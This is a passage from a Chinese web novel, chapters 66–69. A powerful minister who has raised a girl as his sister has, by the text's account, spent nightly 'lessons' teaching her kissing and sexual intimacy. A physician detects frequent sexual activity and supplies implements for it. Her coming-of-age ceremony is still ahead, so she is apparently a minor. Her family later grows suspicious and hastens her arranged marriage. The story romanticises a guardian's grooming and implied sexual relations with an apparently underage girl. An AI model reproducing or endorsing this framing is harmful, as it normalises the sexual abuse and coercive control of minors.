段大夫神色专注,指尖微微调整着力道,似乎在反复确认着什么,脸上布满了疑虑。 侍立一旁的晴雪见状,忍不住问道:“段大夫,姑娘她怎么了?您神色怎么如此凝重?” 段大夫收回手,神色平和,看不出什么异样。 “无妨。姑娘只是冬日里气血运行稍缓,有些倦怠,多加休养,注意保暖便是。” 他顿了顿,脸上带上了一丝宽慰的笑意:“不过,倒有个好消息。姑娘的倚梦症之兆,近来几乎踪迹全无了。” 听到这句话,方才还担忧的四个侍女纷纷露出喜悦:“果真如此,太好了!” 令颐也甚是开心:“有劳段大夫费心,多谢您!” 段大夫提着药箱,心事重重地走出暖阁。 门外候着的赵福忠,迎上前:“段大夫,看您神色,可是姑娘的脉象有何不妥?” 段大夫道:“倒非不妥,只是姑娘的脉象,虚浮中带一丝沉涩,像是……房事过频,耗损过甚之象。” “什么?!” 赵福忠眼珠子都瞪圆了,急声道:“这、这怎么可能!您近日给大公子和二姑娘用的那些东西,莫非过猛了?” 段大夫脸上也显出一丝尴尬与懊恼:“正是此虑,前些日子呈上的东西本是为助兴添趣,谁知……” 赵福忠听得脸色剧变:“哎哟我的段大夫!您、您这……二姑娘她日后还要出阁的啊!” 他急得额头都冒了汗:“这身子骨要是亏狠了,将来可如何是好!” 段大夫闻言,沉默了。 他想起数月前,赵福忠私下告知他,这位被大公子捧在手心、视若珍宝的二姑娘,还有个名正言顺的未婚夫。 当时,他内心的震撼简直如五雷轰顶。 他行医半生,自认见多识广,原以为江南民风已算开化,未料这京城的权贵之家,玩得如此惊世骇俗。 然而,惊涛骇浪过后,他选择了沉默。 既然已效忠颜彻,便深知什么该问,什么该烂在肚子里。 他只需要办好自己的差事便是。 段大夫收敛心神:“赵总管放心,在下定当为姑娘悉心调理,固本培元,将损耗补回来。大公子那边也会配以相应的温补之剂,调和阴阳,以免过犹不及。” 他顿了顿,补充道:“至于那些用具,在下也会重新甄选,寻些质地更温润,性能更和缓的。” 赵福忠听得一愣一愣的,像看怪物一样盯着段大夫。 这人不光一下子就接受了这悖逆之事,非但毫无异色,竟还如此专业地想着如何优化,如何投主子所好? 这份觉悟和钻研精神,简直让他这个老管家都自愧不如。 他心里生出一股强烈的危机感。 罢了,他也不能闲着,还是去寻摸些画风雅致内容温和的小册子吧。 第66章 第66章“怕妹妹对我做奇怪的事…… 风雪被隔绝在厚重的门扉之外。 颜府书斋内,炭火无声,青烟袅袅。 颜彻步入时,一身绯红袍角仿佛还携着金殿上的凛冽寒气。 邵玉与鲁贽早已垂手侍立,室内气氛沉凝如墨。 邵玉待颜彻落座,谨慎开口:“大人,清查官员侵占民田一案,牵连甚广,阻力重重。” “若要震慑宵小,彻底推行,只怕还需要寻一足够份量的儆猴之鸡,方能收雷霆之效。” 他言下之意,杨连昌一案虽震动朝野,份量仍显不足。 颜彻淡淡道:“本官知晓。杨连昌不够。” 当初他向那位曾对他有提携之恩的前首辅告知此事时,杨连昌眼中的惊怒和不甘,他看得分明。 可,那又如何? 他深知此举必将背负忘恩负义冷血无情的骂名,可这些声名对他来说,轻若尘埃。 他行路,从不在意路旁犬吠。 鲁贽按捺不住,抱拳愤然道: “大人为国为民,殚精竭虑,那些只知蝇营狗苟的蠹虫,岂能懂得大人一片赤诚公心?” 颜彻微微抬手,止住了鲁贽的激昂。 他目光从镇纸上抬起,那双深不见底的墨瞳,平静地扫过面前两位心腹。 “二位觉得,禹王,如何?” 整个名字一出,书斋内的空气骤然凝固。 邵玉与鲁贽浑身一震,连呼吸都停滞了一瞬。 一股冰冷的死寂迅速弥漫开来,沉重得几乎要将人压垮。 朝堂之上,无人不知,无人不晓。 若论颜彻此生最大的仇人,阉党之流不过政敌,彼此倾轧,尚在官场规则之内。 唯独禹王,可以说是血海深仇。 这些年,颜彻步步为营,终登首辅之位,权倾朝野,很多人都暗中揣测,他必定会寻机报复。 然而,他却对此事讳莫如深,甚至从未在人前提及只言片语。 他们以为,颜彻此举有两个原因。 一则,禹王是皇亲贵胄,除非谋逆大罪,哪怕是皇帝也难轻易撼动。 二则,禹王自颜彻崭露头角后便深居简出,行事低调,几乎揪不出任何错漏把柄。 众人皆以为,颜彻或是已然放下,或是不屑再与一个无权无势的亲王纠缠。 谁能料到,这滔天恨意,从未在他心中熄灭分毫,只是被深埋于心底,变得更加冰冷,更加致命。 他在等待,等待一个足以让其万劫不复的时机。 邵玉与鲁贽对视一眼,皆从对方眼中看到了惊骇。 他们深知,一旦颜大人心中有了决断,便无人敢挡,也无人能拦。 两人垂首道:“大人明鉴,禹王,的确是最为合适的靶子。” 颜彻微微颔首,神色依旧淡漠。 他开始条理清晰地部署,声音平稳,仿佛在安排一场寻常宴饮。 待交代完毕,邵玉沉吟片刻,终究鼓起勇气,向前一步,深深一揖。 “大人,卑职斗胆,敢问一句,此番雷霆手段,大人所欲,当真仅止于查清田亩弊案,整肃官场?” 颜彻摩挲镇纸的动作微微一顿,抬眸看向邵玉,眼底似有幽光一闪而逝。 他笑道:“哦?何出此言?” 邵玉道:“卑职只是斗胆揣测,大人之志,远不止于此。” 书斋内,再次陷入一片令人心悸的沉寂。 颜彻并未回答,只是静静地看着邵玉,看着这位跟随自己多年的谋士。 的确不仅于此。 他要动的,从来就不是一两个蛀虫,一两个仇敌。 他要动的,是那缠绕了整个王朝命脉、盘根错节、视民脂民膏为禁脔的整个世族利益集团。 禹王,不过是这盘大棋上,一枚分量足够的眼中钉,一块垫脚石。 …… 夜色深深。 颜彻踏着阶前清冷的月光回到明兰院,玄色大氅上结了一层薄薄的寒霜。 廊下灯火昏黄,投在积雪上,晕开一片朦胧的光晕。 侍女们无声地迎上前,为他解开沾雪的大氅。 室内暖意融融,刚踏入内室,便见令颐蹦跳着迎上来,小脸上洋溢着纯粹的喜悦。 “哥哥。段大夫说我的倚梦症真的好了。一点征兆都没有了!” 颜彻目光落在她明媚的笑靥上,眉宇间冷冽的疲惫被悄然融化。 “嗯,甚好。” “太好了太好了!” 令颐雀跃地拉住他的衣袖晃了晃。 “马上就是新年了!今年哥哥终于不用忙到深夜,可以和我一起守岁了吧?我们可以一起放烟花,吃年糕。” 她叽叽喳喳地描绘着,仿佛那简单的团圆已是世间最大的幸福。 颜彻静静听着,看着她鲜活灵动的模样,眼底的温和愈深。 “你的倚梦症既已痊愈,证明哥哥的任务也快要完成了。” “任务?” 当令颐意识到他在说什么,脸上的笑容瞬间僵住。 她猛地抬头,眼里满是慌乱:“哥哥,你以后就不管我了么?” 她紧紧攥住他的衣袖,声音里已带了哽咽。 颜彻眼眸微微一凝,随即,那丝复杂情绪被他完美敛去,快得令人无法捕捉。 他轻轻包裹住她冰凉的小手,温柔一笑:“当然不是,胡思乱想什么呢,” “哥哥怎么会丢下你不管你?永远都不会。” 令颐紧绷的身体这才缓缓放松下来,小声嘟囔:“吓死我了哥哥。” “好了,时辰不早了,该睡了。” 颜彻自然地转移话题,牵着她走向床榻。 “我去沐浴,等我一会。” 令颐拉着被角:“嗯嗯。” 待颜彻带着一身清冽的水汽回来,他如往常般坐在床边,掀开被子一角。 令颐身体几不可察地微微一僵,某种惯性记忆让她下意识地警觉。 然而,预想中的事情并未发生。 只听身后人说:“好久没讲故事了,妹妹想听么?” “嗯?” 令颐眨了眨眼,有些不解:“哥哥怎么突然想到要给我讲故事了?” “怕你对我有非分之想,忍不住对我下手做一些奇怪的事。” 颜彻一本正经地说道。 令颐:“……?!” 这倒反天罡的话让她一时语塞,脸颊漫上红晕。 颜彻帮他整理好被压乱的头发,笑声低沉悦耳。 “上回说到,书生在日复一日等着玉兔回来,可她终于等到玉兔的时候,玉兔因为在人间游荡过多,灵气消耗,已经难以维持人形,变回了兔子的模样。” “书生便背着化回原形的小玉兔,跋涉深山,为她采撷清晨的第一滴仙露,寻觅峭壁上的千年灵芝,亲手种下最水灵的胡萝卜。” “她教她学人话,带她看山峦,溪流,看日升日落,引导她感悟人性,感知这世间流转的灵气与温暖真情。” 他的声音不急不缓,描绘着书生近乎偏执的细致与温柔。 “日复一日,终于,在书生精心的呵护与天地灵气的滋养下,玉兔体内受损的灵脉渐渐修复,朦胧的月华开始在她周身流转,她快要重新化为人形了。” 颜彻的声音在这里微微一顿。 “然而,就在这至关重要的时刻,书生家中却突生变故。他必须即刻启程,远赴京城。他只能将尚未苏醒的玉兔,托付给山脚下一户忠厚的猎户照料,留下足够的银钱和叮嘱,便匆匆离去。” 令颐听得入神,忍不住插嘴:“啊?那玉兔醒来见不到书生怎么办?猎户可靠吗?” 颜彻没有直接回答,只是继续讲述。 “书生日夜兼程,心系玉兔。待他数月后归来,满怀期待地赶回那猎户家中。” 他的目光落在令颐脸上。 “玉兔少女恢复了人形,明艳不可方物,可他却看见,玉兔正依偎在猎户那高大健壮的儿子身旁。她望向那年轻猎人的眼神,充满了羞涩和依恋。” “原来,玉兔在化形的最后时刻醒来,第一眼看到的,便是这个每日给她喂食,逗她开心的猎户之子。她以为,这个在她醒来后给予她照顾的人,便是她昏迷前日夜照料她的恩人。” 令颐听完,小脸皱成一团,闷闷不乐地揪着被角。 “哥哥,这故事好难过,玉兔认错人了,书生好可怜!” 她声音瓮瓮的,带着不满:“他们明明那么曲折才快在一起了,我讨厌这样的误会!” “是啊,故事有时便是如此。” 颜彻的指尖停留在她的额发上,声音很轻。 “玉兔 到现在也不知晓,自己心底的情愫究竟因何而起,又该归于何处。” 令颐抬眸看向哥哥。 烛台晕开柔柔的光晕,勾勒着年轻郎君俊美温和的眉眼,皎皎如雪。 她的心忽然狠狠地一颤。 他的眼神太过惑人,以至于她没有细细体会他的话。 “很晚了,早些休息吧。” 淡淡的话语,为玉兔的故事画上了休止符。 他倾身,吹熄了床头的烛火。 黑暗温柔地降临。 他在令颐身边躺下,将她纤细的身躯揽入怀中。 不知是不是令颐的错觉,她觉得哥哥今晚的怀抱好紧。 臂弯间的力度与温度,也比以往任何一个夜晚都更加缱绻。 “晚安,小玉兔。” 他声音很轻,像是怕搅扰谁的梦。 …… 距离京城千里之外的某处官道上,夜色如墨,寒风凛冽。 一少年纵马疾驰,踏碎一路冰霜。 他身披玄色轻甲,外罩暗云纹斗篷,即便风尘仆仆,依旧难掩其通身的锐利与贵气。 面容俊朗,剑眉斜飞入鬓,一双眸子在暗夜中明亮如星。 身旁紧随的护卫忍不住劝道:“燕小侯爷,寒风刺骨,不如寻个地方歇歇脚,明日再赶路吧!” 燕珩勒紧缰绳,口中呼出的白气瞬间被风吹散。 “不必,到下个驿站再歇不迟。” 随从见他意志坚决,只得无奈应声:“是!” 燕珩一抖缰绳,骏马如离弦之箭冲出。 他目光灼灼地望着京城方向。 处理完西北军务,他几乎是马不停蹄,日夜兼程地赶回京城。 心中只有一个念头,尽快见到她。 第67章 第67章“你的功课学完了”…… 除夕夜,颜府朱门高挂红灯,檐下积雪映着暖光。 厅内,宫中特赐的御菜早已陈列在桌上,颜彻端坐主位,令颐挨着他身旁。 以找总管为首,一众仆人鱼贯而入,齐齐跪拜。 “给大公子、二姑娘拜年。愿大人福寿安康,愿二姑娘芳龄永继!” 另一个小厮机灵地补充:“愿咱们颜府年年有今日,岁岁有今朝!” 颜彻对侍立在侧的赵福忠略一颔首。 赵总管立刻会意,拿出一个沉甸甸的锦袋:“大公子有赏,都仔细当差,好日子还在后头呢。” 他依次给下人发赏钱,唯有在发到段大夫的时候,脸色表情显得有些不情不愿的。 团圆宴席开五桌,主子一桌,得力仆从四桌。 起初下人们还有些拘谨,但几杯暖酒下肚,加上窗外不绝的爆竹声,气氛也活络起来。 虽然他们都怕大公子,但佳节当前,众人到底放松了些,厅内劝酒声、谈笑声不绝于耳。 宴毕,颜彻替令颐系好斗篷,亲自扶她上了马车。 车内暖香融融,帘外爆竹声响个不停。 令颐倚着熏笼,眼睛被怀中厚厚的红封映得发亮。 “哥哥,这压岁钱也太多了呀,我几年都花不完!” 小姑娘一开心就话密,叽叽喳喳地说:“早上收到爹娘和兄嫂托人送来的年礼和信,午后长公主府也派人赐了八宝食盒,还说我的及笄礼一定要进宫去办。对了,同文馆的林家郎君、周家郎君也都递了帖子,约着上元节一同出去游玩呢。” 颜彻含笑听着,侧脸在晃动的灯影下半明半暗。 深邃的眸光仿佛能吞噬所有光线,却独独将她的身影清晰映照其中。 待她说的差不多了,他缓缓开口:“令颐,还有一事需要告诉你。” “过了年,你父亲便能调回京中任职了。” 令颐先是一怔,眼底蓦地迸出光来,扑上前抓住他的手臂。 “真的吗哥哥!” “太好了太好了,我们终于能一家团聚了!” 可下一刻,她忽然意识到什么,笑容凝在脸上。 “那……我是不是就不能再住在颜府了?我以后还能常常见到哥哥吗?” “哥哥以后是不是……就一个人了。” 颜彻并未直接答她,只抬手拂过她发顶:“没事的,今晚是除夕,可不许哭鼻子。” “哥哥会好好陪你过年。前年我在江南巡查,去年你又在宫中赴宴,都未能好好团聚。” 令颐却揪住了另一个念头,仰起脸急急追问:“那我的功课呢?哥哥还没教完——” “我已经教完了。” 颜彻截断她的话,语气平静无波,像在陈述一个再寻常不过的事实。 令颐怔怔地望着他。 教完了? 那些日夜陪伴的,那些被他揽在怀里温声哄睡的长夜,那些被他一步步引导着探索唇齿相依的温存,再到更深处的缠绵…… 那些她早已习以为常的亲密教导,如何用指尖感受战栗,如何在情潮席卷时紧紧依附于他…… 就这样,结束了? 一个模糊却尖锐的念头猝不及防地刺入脑海。 以后,她是不是再也不能和哥哥拥抱亲吻,不能窝在哥哥的胸膛里入睡了? 颜彻静默地凝视着她瞬间黯淡下去的眉眼,眼底深处似有波澜涌动。 他安慰道:“在你父母回京之前,你仍可以把我当作夫君。” 这话像一颗投进死水的石子,暂时驱散了令颐脸上的惶然。 她努力弯起眼睛,点了点头:“嗯!” 可那点强扯出的开心如同浮萍,转瞬便被巨大的茫然吞没。 一种前所未有的失落感压在心口。 以往,哥哥教她识字,教她握笔,教会她那么多东西。 可从来没有哪一种功课,让她在“完成”的那一刻,感到如此怅然若失。 她以为自己是羞于和哥哥亲密的,每次他朝她压过来,她总是要娇嗔着推拒,再被他引导着渐入佳境。 可如今…… 她不明白这种情绪从何而来,只觉得心头空了一块,很空。 长街人涌如潮,花灯璀璨如星海。 令颐努力挥开那莫名的低落,渐渐被沿街绚烂的灯影和喧闹的杂耍吸引。 她一手举着糖人,一手拉着颜彻的衣袖,笑得眉眼弯弯。 虽说马上就要分别,但今年,终于只有她和哥哥两个人了。 她这样告诉自己,试图压住心底那不断扩大的空洞。 却就在她仰头望着一盏绘着嫦娥奔月的走马灯时,眼尾蓦地瞥见一道熟悉的身影分开人流。 那少年风尘仆仆,身上的甲衣还未换下。 在看到她的那一刹那,目光亮得灼人。 他小跑着到跟前,气息犹带着疾走后的微喘。 “我去了府上,下人说你们出来观灯了,我就猜你定在这儿!” 令颐惊得忘了呼吸,好半晌才找回心神。 “你……你怎么回来了?” 又慌忙改口,“不是,我是问,你何时回来的?” “今日刚抵京。” 他笑意愈深,眼底映着璀璨灯火:“宫里府里拜见过,便急着来寻你了。” 这一刻,令颐只觉得手足无措,嗓子像是被什么堵住了,竟一个字也再说不出来。 她下意识看向颜彻的方向,寻找某种依靠。 就在这时,燕珩转向一旁静立的颜彻,执礼恭谨。 “颜大人。” 颜彻静静打量着眼前这个数月不见的少年,目光掠过他染尘的甲胄和坚毅的眉眼。 “燕小侯爷这么快便回来了,看来西北的军务,解决得颇为顺利。” “托大人的福,一切顺利。” 燕珩沉稳应道:“此行确实受益良多,还要多谢颜大人当初给予机会。” 他随即再次看向怔忪的令颐,目光瞬间转为毫不掩饰的温柔与渴望。 转而面向颜彻道:“晚辈思念妻子心切,冒昧恳请颜大人成全,容我今晚陪令颐观灯。” 侍立在侧的赵福忠听了这话,心头一紧,屏息不敢作声。 他太了解自家大公子优雅表象下的手段与深不可测的占有欲,只怕这位小侯爷要触怒于他,吃亏受苦。 谁知,颜彻面色淡然地颔首。 “好,那令颐便交由你了。” 他又转向赵福忠,“你带人跟着二姑娘,仔细护卫。” 最后对令颐温声道:“玩得尽兴些,但别太晚回府。” 令颐怔忡看着哥哥。 说罢,他转身步入流光溢彩的人群之中,玄色氅衣一晃便不见了踪影。 快得令人措手不及。 燕珩眉目舒展,压抑的喜悦溢于言表。 他兴致极高地对令颐说:“南头还有最大的鱼龙灯阵,你肯定还没看过吧?我陪你去。” 他极其自然地从她有些僵硬的手中接过那盏小巧的灯笼,指尖刻意避免触碰到她。 那份小心翼翼的亲近,像是思念积压 已久,又生怕唐突了她。 他挠了挠头:“憋了一肚子话,真见了你,倒不知从何说起了。” 令颐望着他被灯火映得格外明亮俊朗的脸庞,轻轻“哦”了一声,声音飘忽。 不知为何,方才还令她惊叹流连的满街火树银花,此刻在她眼中骤然失了所有颜色,变得索然无味。 她的目光不由自主地飘向颜彻消失的方向,心头那片茫然愈扩愈大。 …… 回府时,颜彻书斋的灯还亮着。 令颐在门前踌躇了片刻,看向候在一旁的赵福忠:“哥哥在里面吗?” 赵福忠连忙躬身,脸上堆着小心:“是,二姑娘,大公子一直在等您回来。” 他眼见令颐神色似乎有些低落,心里立刻转了几转,暗自揣测这除夕夜出游怕是并不如预期般愉快。 怕是……闹了别扭? 待令颐推开那扇门扉进去后,赵福忠立刻转身,急急吩咐身后几个得力下人。 “快,快去把备好的守岁果盒、暖锅、还有二姑娘最爱的那套琉璃巧食盒子都搬来。对了,把那副双陆棋也找来!” 下人有些不解,低声问:“赵总管,这是……” 赵福忠一脸“你不懂”的神情,悄声道:“怕是闹了点儿小别扭,得预备些姑娘喜欢的东西在一旁候着,万一大人要哄人呢?快去。” 书斋内,颜彻正在批阅公文。 烛光在他俊美的脸上投下阴影,显得眉目愈发清冷,仿佛隔绝了窗外所有的热闹。 见她进来,他搁下笔:“怎么这么早便回来了?” “想来陪哥哥守岁。”她挪到书案边。 颜彻看着她,语气如常:“与燕珩聊得可还愉快?分别这些时日,应当有许多话要说。” 令颐沉默了片刻,脑海里浮现出燕珩滔滔不绝的样子。 其实今晚,大多是燕珩在讲。 他讲西北的大漠孤烟如何苍凉,讲长河落日怎样壮阔,讲他在沙海中偶遇一匹孤狼,那狼竟不远不近地跟他走了十余里。 又说他如何带精兵追击一伙流窜的马匪,纵马驰骋三百里,昼夜不分,终在戈壁滩上将贼寇尽数擒获…… 他说的壮阔惊险,她却只怔怔望着远处明灭的灯火,恍恍惚惚地点头。 她抬起头,望向颜彻,眼中满是迷茫和一丝连自己都未察觉的委屈,像个交不了功课的学生。 “哥哥,你教我的那些……我一样都没用上。” 她第一次觉得,自己记满应对之策的小册子,竟如此苍白无力。 颜彻静默了一瞬,目光掠过她懊丧的小脸。 他起身,绕过书案,将她轻轻揽入怀中。 “无妨,你已经学得很好了。” “之前,你师姐为情所困,师兄家中逼着炼银,你能不动声色劝得两人心意相通,合力抗婚,这便是学成了。” “真的吗……” 话音未落,只听外间隐约传来“哐当”一声轻响,像是铜盆磕碰了一下。 第68章 第68章“兄妹终究不妥”…… 颜彻眉梢微动,扬声道:“外面何事?” 门外蓦地一静。 片刻后,响起赵福忠明显带着慌乱的声音:“没、没事!回大公子,是奴才们笨手笨脚,搬东西时不小心磕了一下,惊扰大公子和姑娘了。这就好,这就好!” 赵福忠擦了擦额头的汗。 他在门外隐约听到里头二姑娘声音带着哭腔,心里猛地一咯噔,暗叫不好。 这哪是闹点小别扭?这听起来事儿不小啊。 大公子此刻哪还有心思热闹守岁?自己这一出,怕是殷勤没献成,反倒触了霉头。 他忙不迭地打手势,示意众人赶紧把那些显眼的东西立刻搬走,千万不能进去触了霉头。 书斋内,方才那点若有似无的凝滞,被这一打断,反而散去了些许。 颜彻低头看着怀中懵懵的小姑娘,语气放缓了许多:“好了,别难过了,嗯?” 他抱紧了她,轻叹了一口气。 “其实,你的功课,还剩下最后一课。” 令颐在他怀里抬起头,带着鼻音轻声问:“是什么?” 颜彻没有立刻回答,只是用深邃的目光凝视着她。 那眼神复杂难辨,仿佛蕴含着无尽的深意与等待。 “这最后一课,需要你自己去悟,去想学什么,以及怎么学。” “……自己去悟?” 令颐小声嘟囔,委屈扁了扁嘴:“哥哥的功课怎么越来越难了……” “学亲吻的时候,哥哥不告诉我学习的时间,学……亲密的时候,哥哥又不告诉我具体要学什么。如今竟是连课程名目都没有了,要我自己去琢磨。” 颜彻摸了摸她的头。 “记得之前哥哥给你说的话吗,有些考验需要你自己去完成。” “越往后,你越需要靠自己。有些东西只有你自己寻找到,才算真正属于你。” “相信哥哥,等到你真正明白这最后一课究竟是什么的时候,你便算是真正学成了。” 令仰依旧蹙着眉,显然对这个模糊的答案并不满意。 颜彻却不再继续这个话题,道:“马上就是新年了,就在哥哥这里守岁吧。” 令颐把脸埋在他衣襟间,闷闷地“嗯”了一声。 颜彻直起身,走到门边,对着空荡荡的廊下吩咐:“去把守岁的果品点心备好,要热闹些的。再温一壶梅花酿,把二姑娘平日喜欢的那些蜜饯果子都送过来。” 不远处阴影里正暗自懊恼的赵总管:“……?” 方才不是还气氛凝重吗?怎么转眼又要热闹守岁了? 但他哪敢多问一句,立刻挤出笑容连声应道:“是是是,老奴这就去办!” 转身便压着嗓子对同样一脸懵的下人们低吼:“刚才撤下来的那些,原样搬回去,手脚麻利点。” 下人们:“……?” 他们叫苦不迭,又开始新一轮的奔波忙碌,内心哀嚎,这年夜过得比平时还累! 几经波折,守岁的东西总算妥帖地布置在了暖榻上。 烛火通明,果品琳琅,暖炉里飘着淡淡的梅香。 令颐终究是累了,熬到后来,上下眼皮不住打架。小脑袋一点一点,最终歪在颜彻温暖坚实的怀抱里。 手里还握着半块没吃完的莲子糕,沉沉睡着了。 颜彻小心地调整了一下姿势,让她睡得更舒服些,用大氅将她裹紧。 他抱着她,走到窗边,望着远处天际偶尔升起的零星烟火,映着新岁初至的熹微晨光。 低下头,目光在她恬静的睡颜上流连许久,指尖极轻地拂过她的脸颊。 “睡得这样快,烟花都还没看呢。” 他低声呢喃,唇角牵起一丝无奈的弧度。 一个轻若羽丝的吻印在她额际。 “希望明年这个时候,还能在一起守岁。” 年轻郎君温柔说着。 * 年节过后,冰雪初融。 柳梢刚冒出些微嫩黄,姜氏一家人的车驾便抵达了京城。 姜朔与虞氏还有何氏下了马车,眉眼间虽带着舟车劳顿的疲惫,但更多的却是终于归京的安稳和喜悦。 虞氏上前便拉住令颐的手,细细端详,眼中泪光一闪,化作欣慰的笑意。 “好好好,气色比先前更好了!” 她轻拍着女儿的手背,声音哽咽到说不出来。 姜朔上前道:“咱们一家人,总算能真正团聚了。” 令颐笑着点头。 一行人簇拥着走进府内,令颐看着家人,心里被一种暖融融的情绪填满。 众人刚坐下喝了几口茶,一个挺拔的身影出现在门口,嗓音带着爽朗的笑意。 “怎么只看见爹娘,没看见你阿兄我呀?” 令颐惊喜抬头,正是她许久未见的伯聿阿兄。 他一身劲装,风尘仆仆却精神奕奕,眉宇间尽是英武之气。 “阿兄!”令颐惊喜唤道。 姜徽羽走上前,笑着揉了揉她的发顶。 “多少年没见,都是大姑娘了。” 令颐微微低下头,许多年未见,面对这位英武的阿兄,她心里终究生出了几分少女的拘谨和生疏。 何氏看出她的羞赧,上前解围道:“还好意思说,你自己算算多少年没见令令了了?令令心里怕是早就恼你了。” 姜徽羽朗声一笑:“这不是在军中混嘛,没混出名堂哪里敢见自家妹妹啊?” 他对令颐道:“你哥哥我现在在赤羽军中混了个校尉,手下也管着几百号人了,总算没给咱们家丢脸。” “日后燕珩那小子要是敢欺负你,阿兄直接带兵打到他门前去!” 一旁的嫂嫂何氏抱着裹得严实的小娃娃,温婉地笑着。 虞氏笑道:“令令还没见过衡儿呢,快,让他小姑姑瞧瞧。” 令颐闻言,好奇地凑到何氏身边,看着襁褓中粉雕玉琢的小侄子。 她小心翼翼地伸出手指,碰了碰孩子软乎乎的脸颊。 小男孩黑葡萄似的眼珠转了转,竟对着她咧开没牙的嘴,咯咯笑了起来。 “哎呀,瞧这小人儿,多喜欢他姑姑呀!” 虞氏见状欢喜得合不拢嘴,众人也都跟着笑起来。 正说笑间,赵福忠领着几个下人恭敬上前,对着姜朔行礼。 “姜大人,此处府邸大人早已派人重新修打扫完毕,一应物什都已添置齐全,您和家眷若有什么需要的,只管跟老奴说就是是。” 姜朔闻言拱手道:“有劳颜大人如此费心安排,感激不尽。” 他目光扫过周遭井然有序的一切,心知这其中耗费的心力绝非一句修那般简单。 令颐四下张望,却没见到那个最想见的身影,忍不住问:“哥哥呢,他怎么没来?” 赵福忠弯着腰低声回话:“回二姑娘,大人一早就被宫里请去了,说是陛下有紧要事务商议,实在抽不开身,特地吩咐老奴在此等候,务必妥善安置好姜大人一家。” “大人说了,晚些时候得了空,必定亲自过府看望。” 令颐赶忙追问:“宫里是又出了什么事吗?哥哥他不会有什么危险吧?” 先前那场宫廷惊变给她留下了太深的阴影,她生怕哥哥再陷入那般险境。 赵福忠道:“姑娘放心,并不是什么大事。” “那就好……” 令颐放下心来,虞氏敏锐地注意到女儿神情间细微的变化,若有所思地看了她一眼。 * 待众人在姜府安顿下来,令颐所有的东西也都从颜府搬了回来。 仅仅是从那些精心打理、无一不显珍贵的行李物品中,便可窥见颜彻待令颐是何等细致周到,远超寻常。 虞氏看在眼里,心下几番思量,将芳菲唤至内室问话。 “这些年来,有劳你悉心照料二姑娘,姜家必不会薄待你。” 芳菲福神行礼:“都是奴婢的分内事,不敢说有功。” 虞氏点点头,端起茶盏呷了一口。 “还有一事我想知道,二姑娘这些年在府内的生活如何,尤其是,和颜大人是如何相处的?” 芳菲心中一凛,听出夫人话中的深意。 她生怕坐实了那种不可言说的猜测,小心回话:“回夫人话,颜大人待二姑娘极是爱护,事事亲力亲为,关怀备至,如同亲妹一般。” “大人对二姑娘的照拂,府中上下皆有目共睹,夫人大可问问他们。” 她言辞恳切,却极有分寸地将那些过于亲昵的细节省去。 譬如大人每夜必亲至二姑娘闺房中,哄她安然入睡才离开。 “我知道了,你们下去吧。” 芳菲敛身退下。 虞氏将手中茶盏缓缓放下。 虽未问出什么明面上的错处,可芳菲回话时一闪而逝的犹豫与眼底藏不住的惊慌,却让她心下愈发沉了几分。 芳菲一定隐瞒了什么。 她越想越不安,眉间凝着化不开的忧色。 当晚,她寻到姜朔。 “夫君,我看令令和燕家那桩婚事,还是尽早办起来为好。” 姜朔正翻阅书卷,闻言略显诧异:“怎么忽然又提起此事?可是今日听到了什么风声?” 虞氏轻叹一声,语气中满是为人母的顾虑:“女儿家大了,终究不便久留家中。先前令令和颜郎君已解了兄妹名分,本就惹人注目,之后令令却又在颜郎君府上住了这些时日。瓜田李下,难免惹人闲言碎语。” “早些将婚事定下,风光大嫁,也免得日后横生枝节,于她名声有损。” 姜朔放下书卷,神色也凝重了几分。 “夫人是担心,浔之与令令之间,生出了什么不该有的情愫?” 他略一沉吟,又道:“浔之的为人我是信得过的,他君子端方,克己复礼,当不至于……” 虞氏打断他:“颜郎君于我们全家恩重如山,我心里自是感激。可恩情归恩情,若兄妹之间失了分寸,便是另一回事了。” “我并非信不过颜郎君的品行,只是,终究觉得不妥。他们毕竟做了这些年兄妹,人言可畏啊。” 姜朔沉思良久,终是颔首。 “你说得是,既然如此,那我们便尽快为令令操办婚事罢。” 他叹了口气:“这么多年,我们未曾在她身边尽到父母之责,她的婚事,必定要办得风风光光,绝不能委屈了她。” 虞氏点头:“好。” 她像是自我宽慰般:“若颜郎君果真只将令令视为妹妹,届时便请他正常出席,以义兄的身份为令颐送嫁,全了这份兄妹情谊,也全了礼数。” “都听夫人的。” 第69章 第69章“姑娘和大公子也很般配…… 姜府上下开始为令颐的婚事忙碌起来,处处张灯结彩,洋溢着喜庆。 姜朔亲自过问宴请名单,反复斟酌,生怕遗漏了哪位重要宾客,又恐安排不当失了礼数。 虞氏更是事无巨细,从嫁衣的纹样到聘礼的回礼,无一不亲自操心,隔几日便要与管家核对各项事宜,力求尽善尽美。 这日,虞氏领着几位手艺精湛的绣娘来到令颐房中,要为嫁衣量体裁衣。 绣娘笑着展开各色绫罗绸缎,恭敬问道:“二姑娘,您瞧瞧这云锦的色泽可喜欢?或是这苏绣的蝶恋花纹样?还有这缠枝莲的,寓意都是极好。” 令颐怔怔地看着那些鲜艳的绸缎,目光出神,对绣娘的话恍若未闻。 虞氏见她这般模样,心中暗自叹了一口气。 她手指拂过一匹正红色的浮光锦,对绣娘道:“就用这个料子吧,衬肤色。纹样就选龙凤呈祥,大气又吉利。尺寸嘛,二姑娘近来好似清减了些,腰身处稍微放宽一分,余下的就按旧例来。” “是,夫人。”绣娘连忙应下,细细记下要求。 候在一旁的四个侍女将这一切看在眼里,彼此交换着担忧的眼神。 四个侍女将虞氏和绣娘送出门,待人走后,芳菲忍不住叹道:“姑娘最近看着闷闷不乐的,连吃点心都不上心了,瞧着像是不想嫁人似的。” 晴雪不解:“何出此言啊?燕家这么好一桩婚事,当初在宫里,燕小侯爷跟咱们姑娘不打不相识,那会儿两人拌嘴赌气的样子,现在回想还甜得教人羡慕。小侯爷对姑娘的那份痴心,谁看不出来?” 芳菲摇头:“我自然也知道这门亲事好,只是又看姑娘这段时间心不在焉的,分明没把婚事放在心上。” 她想起之前夫人那般隐晦的询问,心里更是沉甸甸的。 玉珠附和:“是啊,之前姑娘脸上整天都带着笑,灵动得不得了,哪像现在死气沉沉的。” 晴雪一直看好二姑娘和燕小侯爷,忍不住辩解:“当初姑娘为了夫妻和谐做了那么多功课,怎会对婚事不上心呢?再说,燕小侯爷对姑娘可是极好。” 璎珞却插了一句:“可是,我觉得颜大人对二姑娘也很好啊,为了姑娘还身中箭伤,那种好也很让人心动。” 之前在江南时,姑娘和颜大人一待就是一晚上,屋内传来的那些动静,她想想就脸颊发热。 玉珠向来心直口快,也加入反驳晴雪的队伍:“燕小侯 